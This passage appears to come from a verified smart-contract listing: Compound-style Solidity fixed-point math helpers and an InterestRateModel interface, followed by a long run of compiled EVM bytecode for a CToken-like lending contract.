MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Compound's InterestRateModel Interface * @author Compound */ abstract contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint); }
0x608060405234801561001057600080fd5b50600436106102a05760003560e01c80638f840ddd11610167578063c37f68e2116100ce578063f3fdb15a11610087578063f3fdb15a146109ef578063f5e3c462146109f7578063f851a44014610a2d578063f8f9da2814610a35578063fca7820b14610a3d578063fe9c44ae14610a5a576102a0565b8063c37f68e21461090d578063c5ebeaec14610959578063db006a7514610976578063dd62ed3e14610993578063e9c714f2146109c1578063f2b3abbd146109c9576102a0565b8063a9059cbb11610120578063a9059cbb1461086d578063aa5af0fd14610899578063ae9d70b0146108a1578063b2a02ff1146108a9578063b71d1a0c146108df578063bd6d894d14610905576102a0565b80638f840ddd146106c457806395d89b41146106cc57806395dd9193146106d457806399d8c1b4146106fa578063a0712d6814610848578063a6afed9514610865576102a0565b80633af9e6691161020b578063601a0bf1116101c4578063601a0bf11461064c5780636c540baf146106695780636f307dc31461067157806370a082311461067957806373acee981461069f578063852a12e3146106a7576102a0565b80633af9e669146105cb5780633b1d21a2146105f15780633e941010146105f95780634576b5db1461061657806347bd37181461063c5780635fe3b56714610644576102a0565b8063182df0f51161025d578063182df0f5146103c75780631a31d465146103cf57806323b872dd146105275780632608f8181461055d5780632678224714610589578063313ce567146105ad576102a0565b806306fdde03146102a5578063095ea7b3146103225780630e75270214610362578063173b99041461039157806317bfdfbc1461039957806318160ddd146103bf575b600080fd5b6102ad610a62565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61034e6004803603604081101561033857600080fd5b506001600160a01b038135169060200135610aef565b604080519115158252519081900360200190f35b61037f6004803603602081101561037857600080fd5b5035610b5c565b60408051918252519081900360200190f35b61037f610b72565b61037f600480360360208110156103af57600080fd5b50356001600160a01b0316610b78565b61037f610c38565b61037f610c3e565b610525600480360360e08110156103e557600080fd5b6001600160a01b03823581169260208101358216926040820135909216916060820135919081019060a081016080820135600160201b81111561042757600080fd5b82018360208201111561043957600080fd5b803590602001918460018302840111600160201b8311171561045a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156104ac57600080fd5b8201836020820111156104be57600080fd5b803590602001918460018302840111600160201b831117156104df57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903560ff169150610ca19050565b005b61034e6004803603606081101561053d57600080fd5b506001600160a01b03813581169160208101359091169060400135610d40565b61037f6004803603604081101561057357600080fd5b506001600160a01b038135169060200135610db2565b610591610dc8565b604080516001600160a01b039092168252519081900360200190f35b6105b5610dd7565b6040805160ff9092168252519081900360200190f35b61037f600480360360208110156105e157600080fd5b50356001600160a01b0316610de0565b61037f610e96565b61037f6004803603602081101561060f57600080fd5b5035610ea5565b61037f6004803603602081101561062c57600080fd5b50356001600160a01b0316610eb0565b61037f611005565b61059161100b565b61037f6004803603602081101561066257600080fd5b503561101a565b61037f6110b5565b6105916110bb565b61037f6004803603602081101561068f57600080fd5b50356001600160a01b03166110ca565b61037f6110e5565b61037f600480360360208110156106bd57600080fd5b503561119b565b61037f6111a6565b6102ad6111ac565b61037f600480360360208110156106ea57600080fd5b50356001600160a01b0316611204565b610525600480360360c081101561071057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561074a57600080fd5b82018360208201111561075c57600080fd5b803590602001918460018302840111600160201b8311171561077d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156107cf57600080fd5b8201836020820111156107e157600080fd5b803590602001918460018302840111600160201b8311171561080257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903560ff1691506112619050565b61037f6004803603602081101561085e57600080fd5b5035611448565b61037f611454565b61034e6004803603604081101561088357600080fd5b506001600160a01b0381351690602001356117ac565b61037f61181d565b61037f611823565b61037f600480360360608110156108bf57600080fd5b506001600160a01b038135811691602081013590911690604001356118c2565b61037f600480360360208110156108f557600080fd5b50356001600160a01b0316611933565b61037f6119bf565b6109336004803603602081101561092357600080fd5b50356001600160a01b0316611a7b565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61037f6004803603602081101561096f57600080fd5b5035611b10565b61037f6004803603602081101561098c57600080fd5b5035611b1b565b61037f600480360360408110156109a957600080fd5b506001600160a01b0381358116916020013516611b26565b61037f611b51565b61037f600480360360208110156109df57600080fd5b50356001600160a01b0316611c54565b610591611c8e565b61037f60048036036060811015610a0d57600080fd5b506001600160a01b03813581169160208101359160409091013516611c9d565b610591611cb5565b61037f611cc9565b61037f60048036036020811015610a5357600080fd5b5035611d2d565b61034e611dab565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ae75780601f10610abc57610100808354040283529160200191610ae7565b820191906000526020600020905b815481529060010190602001808311610aca57829003601f168201915b505050505081565b336000818152600f602090815260408083206001600160a01b03871680855290835281842086905581518681529151939493909284927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a360019150505b92915050565b600080610b6883611db0565b509150505b919050565b60085481565b6000805460ff16610bbd576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155610bcf611454565b14610c1a576040805162461bcd60e51b81526020600482015260166024820152751858d8dc9d59481a5b9d195c995cdd0819985a5b195960521b604482015290519081900360640190fd5b610c2382611204565b90505b6000805460ff19166001179055919050565b600d5481565b6000806000610c4b611e58565b90925090506000826003811115610c5e57fe5b14610c9a5760405162461bcd60e51b8152600401808060200182810382526035815260200180614e4c6035913960400191505060405180910390fd5b9150505b90565b610caf868686868686611261565b601180546001600160a01b0319166001600160a01b038981169190911791829055604080516318160ddd60e01b8152905192909116916318160ddd91600480820192602092909190829003018186803b158015610d0b57600080fd5b505afa158015610d1f573d6000803e3d6000fd5b505050506040513d6020811015610d3557600080fd5b505050505050505050565b6000805460ff16610d85576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155610d9b33868686611f07565b1490506000805460ff191660011790559392505050565b600080610dbf848461221b565b50949350505050565b6004546001600160a01b031681565b60035460ff1681565b6000610dea614b3f565b6040518060200160405280610dfd6119bf565b90526001600160a01b0384166000908152600e6020526040812054919250908190610e299084906122c5565b90925090506000826003811115610e3c57fe5b14610e8e576040805162461bcd60e51b815260206004820152601f60248201527f62616c616e636520636f756c64206e6f742062652063616c63756c6174656400604482015290519081900360640190fd5b949350505050565b6000610ea0612319565b905090565b6000610b5682612399565b60035460009061010090046001600160a01b03163314610edd57610ed66001603f61242d565b9050610b6d565b60055460408051623f1ee960e11b815290516001600160a01b0392831692851691627e3dd2916004808301926020929190829003018186803b158015610f2257600080fd5b505afa158015610f36573d6000803e3d6000fd5b505050506040513d6020811015610f4c57600080fd5b5051610f9f576040805162461bcd60e51b815260206004820152601c60248201527f6d61726b6572206d6574686f642072657475726e65642066616c736500000000604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b03858116918217909255604080519284168352602083019190915280517f7ac369dbd14fa5ea3f473ed67cc9d598964a77501540ba6751eb0b3decf5870d9281900390910190a160005b9392505050565b600b5481565b6005546001600160a01b031681565b6000805460ff1661105f576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611071611454565b905080156110975761108f81601081111561108857fe5b603061242d565b915050610c26565b6110a083612493565b9150506000805460ff19166001179055919050565b60095481565b6011546001600160a01b031681565b6001600160a01b03166000908152600e602052604090205490565b6000805460ff1661112a576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff1916815561113c611454565b14611187576040805162461bcd60e51b81526020600482015260166024820152751858d8dc9d59481a5b9d195c995cdd0819985a5b195960521b604482015290519081900360640190fd5b50600b546000805460ff1916600117905590565b6000610b56826125c6565b600c5481565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610ae75780601f10610abc57610100808354040283529160200191610ae7565b600080600061121284612647565b9092509050600082600381111561122557fe5b14610ffe5760405162461bcd60e51b8152600401808060200182810382526037815260200180614d576037913960400191505060405180910390fd5b60035461010090046001600160a01b031633146112af5760405162461bcd60e51b8152600401808060200182810382526024815260200180614c936024913960400191505060405180910390fd5b6009541580156112bf5750600a54155b6112fa5760405162461bcd60e51b8152600401808060200182810382526023815260200180614cb76023913960400191505060405180910390fd5b60078490558361133b5760405162461bcd60e51b8152600401808060200182810382526030815260200180614cda6030913960400191505060405180910390fd5b600061134687610eb0565b9050801561139b576040805162461bcd60e51b815260206004820152601a60248201527f73657474696e6720636f6d7074726f6c6c6572206661696c6564000000000000604482015290519081900360640190fd5b6113a36126fa565b600955670de0b6b3a7640000600a556113bb866126fe565b905080156113fa5760405162461bcd60e51b8152600401808060200182810382526022815260200180614d0a6022913960400191505060405180910390fd5b835161140d906001906020870190614b52565b508251611421906002906020860190614b52565b50506003805460ff90921660ff199283161790556000805490911660011790555050505050565b600080610b6883612873565b60008061145f6126fa565b6009549091508082141561147857600092505050610c9e565b6000611482612319565b600b54600c54600a54600654604080516315f2405360e01b815260048101879052602481018690526044810185905290519596509394929391926000926001600160a01b03909216916315f24053916064808301926020929190829003018186803b1580156114f057600080fd5b505afa158015611504573d6000803e3d6000fd5b505050506040513d602081101561151a57600080fd5b5051905065048c27395000811115611579576040805162461bcd60e51b815260206004820152601c60248201527f626f72726f772072617465206973206162737572646c79206869676800000000604482015290519081900360640190fd5b60008061158689896128f4565b9092509050600082600381111561159957fe5b146115eb576040805162461bcd60e51b815260206004820152601f60248201527f636f756c64206e6f742063616c63756c61746520626c6f636b2064656c746100604482015290519081900360640190fd5b6115f3614b3f565b60008060008061161160405180602001604052808a81525087612917565b9097509450600087600381111561162457fe5b14611656576116416009600689600381111561163c57fe5b61297f565b9e505050505050505050505050505050610c9e565b611660858c6122c5565b9097509350600087600381111561167357fe5b1461168b576116416009600189600381111561163c57fe5b611695848c6129e5565b909750925060008760038111156116a857fe5b146116c0576116416009600489600381111561163c57fe5b6116db6040518060200160405280600854815250858c612a0b565b909750915060008760038111156116ee57fe5b14611706576116416009600589600381111561163c57fe5b611711858a8b612a0b565b9097509050600087600381111561172457fe5b1461173c576116416009600389600381111561163c57fe5b60098e9055600a819055600b839055600c829055604080518d8152602081018690528082018390526060810185905290517f4dec04e750ca11537cabcd8a9eab06494de08da3735bc8871cd41250e190bc049181900360800190a160009e50505050505050505050505050505090565b6000805460ff166117f1576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff1916815561180733338686611f07565b1490506000805460ff1916600117905592915050565b600a5481565b6006546000906001600160a01b031663b816881661183f612319565b600b54600c546008546040518563ffffffff1660e01b81526004018085815260200184815260200183815260200182815260200194505050505060206040518083038186803b15801561189157600080fd5b505afa1580156118a5573d6000803e3d6000fd5b505050506040513d60208110156118bb57600080fd5b5051905090565b6000805460ff16611907576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff1916905561191d33858585612a67565b90506000805460ff191660011790559392505050565b60035460009061010090046001600160a01b0316331461195957610ed66001604561242d565b600480546001600160a01b038481166001600160a01b0319831681179093556040805191909216808252602082019390935281517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a9929181900390910190a16000610ffe565b6000805460ff16611a04576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611a16611454565b14611a61576040805162461bcd60e51b81526020600482015260166024820152751858d8dc9d59481a5b9d195c995cdd0819985a5b195960521b604482015290519081900360640190fd5b611a69610c3e565b90506000805460ff1916600117905590565b6001600160a01b0381166000908152600e6020526040812054819081908190818080611aa689612647565b935090506000816003811115611ab857fe5b14611ad65760095b6000806000975097509750975050505050611b09565b611ade611e58565b925090506000816003811115611af057fe5b14611afc576009611ac0565b5060009650919450925090505b9193509193565b6000610b5682612ccd565b6000610b5682612d4c565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b6004546000906001600160a01b031633141580611b6c575033155b15611b8457611b7d6001600061242d565b9050610c9e565b60038054600480546001600160a01b03818116610100818102610100600160a81b0319871617968790556001600160a01b031990931690935560408051948390048216808652929095041660208401528351909391927ff9ffabca9c8276e99321725bcb43fb076a6c66a54b7f21c4e8146d8519b417dc92908290030190a1600454604080516001600160a01b038085168252909216602083015280517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a99281900390910190a160009250505090565b600080611c5f611454565b90508015611c8557611c7d816010811115611c7657fe5b604061242d565b915050610b6d565b610ffe836126fe565b6006546001600160a01b031681565b600080611cab858585612dc6565b5095945050505050565b60035461010090046001600160a01b031681565b6006546000906001600160a01b03166315f24053611ce5612319565b600b54600c546040518463ffffffff1660e01b815260040180848152602001838152602001828152602001935050505060206040518083038186803b15801561189157600080fd5b6000805460ff16611d72576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611d84611454565b90508015611da25761108f816010811115611d9b57fe5b604661242d565b6110a083612ef7565b600181565b60008054819060ff16611df7576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611e09611454565b90508015611e3357611e27816010811115611e2057fe5b603661242d565b60009250925050611e44565b611e3e333386612f9f565b92509250505b6000805460ff191660011790559092909150565b600d54600090819080611e7357505060075460009150611f03565b6000611e7d612319565b90506000611e89614b3f565b6000611e9a84600b54600c54613382565b935090506000816003811115611eac57fe5b14611ec157955060009450611f039350505050565b611ecb83866133c0565b925090506000816003811115611edd57fe5b14611ef257955060009450611f039350505050565b5051600095509350611f0392505050565b9091565b600554604080516317b9b84b60e31b81523060048201526001600160a01b03868116602483015285811660448301526064820185905291516000938493169163bdcdc25891608480830192602092919082900301818787803b158015611f6c57600080fd5b505af1158015611f80573d6000803e3d6000fd5b505050506040513d6020811015611f9657600080fd5b505190508015611fb557611fad6003604a8361297f565b915050610e8e565b836001600160a01b0316856001600160a01b03161415611fdb57611fad6002604b61242d565b6000856001600160a01b0316876001600160a01b031614156120005750600019612028565b506001600160a01b038086166000908152600f60209081526040808320938a16835292905220545b60008060008061203885896128f4565b9094509250600084600381111561204b57fe5b146120695761205c6009604b61242d565b9650505050505050610e8e565b6001600160a01b038a166000908152600e602052604090205461208c90896128f4565b9094509150600084600381111561209f57fe5b146120b05761205c6009604c61242d565b6001600160a01b0389166000908152600e60205260409020546120d390896129e5565b909450905060008460038111156120e657fe5b146120f75761205c6009604d61242d565b6001600160a01b03808b166000908152600e6020526040808220859055918b16815220819055600019851461214f576001600160a01b03808b166000908152600f60209081526040808320938f168352929052208390555b886001600160a01b03168a6001600160a01b0316600080516020614dc88339815191528a6040518082815260200191505060405180910390a36005546040805163352b4a3f60e11b81523060048201526001600160a01b038d811660248301528c81166044830152606482018c905291519190921691636a56947e91608480830192600092919082900301818387803b1580156121eb57600080fd5b505af11580156121ff573d6000803e3d6000fd5b506000925061220c915050565b9b9a5050505050505050505050565b60008054819060ff16612262576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612274611454565b9050801561229e5761229281601081111561228b57fe5b603561242d565b600092509250506122af565b6122a9338686612f9f565b92509250505b6000805460ff1916600117905590939092509050565b60008060006122d2614b3f565b6122dc8686612917565b909250905060008260038111156122ef57fe5b146123005750915060009050612312565b600061230b82613471565b9350935050505b9250929050565b601154604080516370a0823160e01b815230600482015290516000926001600160a01b03169182916370a0823191602480820192602092909190829003018186803b15801561236757600080fd5b505afa15801561237b573d6000803e3d6000fd5b505050506040513d602081101561239157600080fd5b505191505090565b6000805460ff166123de576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff191681556123f0611454565b9050801561240e5761108f81601081111561240757fe5b604e61242d565b61241783613480565b509150506000805460ff19166001179055919050565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa083601081111561245c57fe5b83605081111561246857fe5b604080519283526020830191909152600082820152519081900360600190a1826010811115610ffe57fe5b600354600090819061010090046001600160a01b031633146124bb57611c7d6001603161242d565b6124c36126fa565b600954146124d757611c7d600a603361242d565b826124e0612319565b10156124f257611c7d600e603261242d565b600c5483111561250857611c7d6002603461242d565b50600c548281039081111561254e5760405162461bcd60e51b8152600401808060200182810382526024815260200180614edd6024913960400191505060405180910390fd5b600c81905560035461256e9061010090046001600160a01b031684613568565b600354604080516101009092046001600160a01b0316825260208201859052818101839052517f3bad0c59cf2f06e7314077049f48a93578cd16f5ef92329f1dab1420a99c177e916060908290030190a16000610ffe565b6000805460ff1661260b576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff1916815561261d611454565b9050801561263b5761108f81601081111561263457fe5b602761242d565b6110a03360008561365f565b6001600160a01b03811660009081526010602052604081208054829182918291829161267d5760008095509550505050506126f5565b61268d8160000154600a54613b29565b909450925060008460038111156126a057fe5b146126b55783600095509550505050506126f5565b6126c3838260010154613b68565b909450915060008460038111156126d657fe5b146126eb5783600095509550505050506126f5565b5060009450925050505b915091565b4390565b600354600090819061010090046001600160a01b0316331461272657611c7d6001604261242d565b61272e6126fa565b6009541461274257611c7d600a604161242d565b600660009054906101000a90046001600160a01b03169050826001600160a01b0316632191f92a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561279357600080fd5b505afa1580156127a7573d6000803e3d6000fd5b505050506040513d60208110156127bd57600080fd5b5051612810576040805162461bcd60e51b815260206004820152601c60248201527f6d61726b6572206d6574686f642072657475726e65642066616c736500000000604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b03858116918217909255604080519284168352602083019190915280517fedffc32e068c7c95dfd4bdfd5c4d939a084d6b11c4199eac8436ed234d72f9269281900390910190a16000610ffe565b60008054819060ff166128ba576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff191681556128cc611454565b905080156128ea57611e278160108111156128e357fe5b601e61242d565b611e3e3385613b93565b60008083831161290b575060009050818303612312565b50600390506000612312565b6000612921614b3f565b600080612932866000015186613b29565b9092509050600082600381111561294557fe5b1461296457506040805160208101909152600081529092509050612312565b60408051602081019091529081526000969095509350505050565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa08460108111156129ae57fe5b8460508111156129ba57fe5b604080519283526020830191909152818101859052519081900360600190a1836010811115610e8e57fe5b6000808383018481106129fd57600092509050612312565b600260009250925050612312565b6000806000612a18614b3f565b612a228787612917565b90925090506000826003811115612a3557fe5b14612a465750915060009050612a5f565b612a58612a5282613471565b866129e5565b9350935050505b935093915050565b6005546040805163d02f735160e01b81523060048201526001600160a01b038781166024830152868116604483015285811660648301526084820185905291516000938493169163d02f73519160a480830192602092919082900301818787803b158015612ad457600080fd5b505af1158015612ae8573d6000803e3d6000fd5b505050506040513d6020811015612afe57600080fd5b505190508015612b1557611fad6003601b8361297f565b846001600160a01b0316846001600160a01b03161415612b3b57611fad6006601c61242d565b6001600160a01b0384166000908152600e602052604081205481908190612b6290876128f4565b90935091506000836003811115612b7557fe5b14612b9857612b8d6009601a85600381111561163c57fe5b945050505050610e8e565b6001600160a01b0388166000908152600e6020526040902054612bbb90876129e5565b90935090506000836003811115612bce57fe5b14612be657612b8d6009601985600381111561163c57fe5b6001600160a01b038088166000818152600e60209081526040808320879055938c168083529184902085905583518a815293519193600080516020614dc8833981519152929081900390910190a360055460408051636d35bf9160e01b81523060048201526001600160a01b038c811660248301528b811660448301528a81166064830152608482018a905291519190921691636d35bf919160a480830192600092919082900301818387803b158015612c9f57600080fd5b505af1158015612cb3573d6000803e3d6000fd5b5060009250612cc0915050565b9998505050505050505050565b6000805460ff16612d12576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612d24611454565b90508015612d425761108f816010811115612d3b57fe5b600861242d565b6110a03384613ff0565b6000805460ff16612d91576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612da3611454565b90508015612dba5761108f81601081111561263457fe5b6110a03384600061365f565b60008054819060ff16612e0d576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612e1f611454565b90508015612e4957612e3d816010811115612e3657fe5b600f61242d565b60009250925050612ee0565b836001600160a01b031663a6afed956040518163ffffffff1660e01b8152600401602060405180830381600087803b158015612e8457600080fd5b505af1158015612e98573d6000803e3d6000fd5b505050506040513d6020811015612eae57600080fd5b505190508015612ece57612e3d816010811115612ec757fe5b601061242d565b612eda338787876142fe565b92509250505b6000805460ff191660011790559094909350915050565b60035460009061010090046001600160a01b03163314612f1d57610ed66001604761242d565b612f256126fa565b60095414612f3957610ed6600a604861242d565b670de0b6b3a7640000821115612f5557610ed66002604961242d565b6008805490839055604080518281526020810185905281517faaa68312e2ea9d50e16af5068410ab56e1a1fd06037b1a35664812c30f821460929181900390910190a16000610ffe565b60055460408051631200453160e11b81523060048201526001600160a01b0386811660248301528581166044830152606482018590529151600093849384939116916324008a629160848082019260209290919082900301818787803b15801561300857600080fd5b505af115801561301c573d6000803e3d6000fd5